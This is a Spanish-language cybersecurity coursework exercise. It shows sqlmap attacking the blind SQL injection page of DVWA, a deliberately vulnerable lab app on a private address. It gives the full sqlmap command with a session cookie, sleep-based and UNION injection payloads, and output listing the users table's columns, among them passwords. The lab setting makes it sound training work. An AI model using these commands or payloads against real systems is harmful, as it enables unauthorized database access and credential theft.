PUESTA EN PRODUCCIÓN SEGURA

Unidad 4. Actividad 10

8 DE FEBRERO DE 2024

CARLOS DÍAZ MONTES
ESPECIALIZACIÓN DE CIBERSEGURIDAD

Índice

Enunciado

Repita los pasos anteriores y realice un ataque con sqlmap a “SQL Injection (Blind)”.

Ejercicio.

Usamos sqlmap:

```
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.0.3.10/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mql6jac5mht5ord8bht26176v5" -D dvwa -T use
rs --columns
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.7.9#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicab
le local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:16:03 /2024-02-08/
```

```
    Payload: id=1' AND (SELECT 4389 FROM (SELECT(SLEEP(5)))HCXh) AND 'Itcq'='Itcq&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7171627671,0x53466d6c57544c6e4a4d726d544644415575456e6c56614c54456f67536242755443754141 7a4251,0x71626b7671)
-- -&Submit=Submit
---
[15:16:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL ≥ 5.0.12
[15:16:03] [INFO] fetching columns for table 'users' in database 'dvwa'
[15:16:03] [WARNING] reflective value(s) found and filtering out
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| user       | varchar(15) |
| avatar     | varchar(70) |
| first_name | varchar(15) |
| last_name  | varchar(15) |
| password   | varchar(32) |
| user_id    | int(6)      |
+------------+-------------+

[15:16:03] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.3.10'

[*] ending @ 15:16:03 /2024-02-08/
```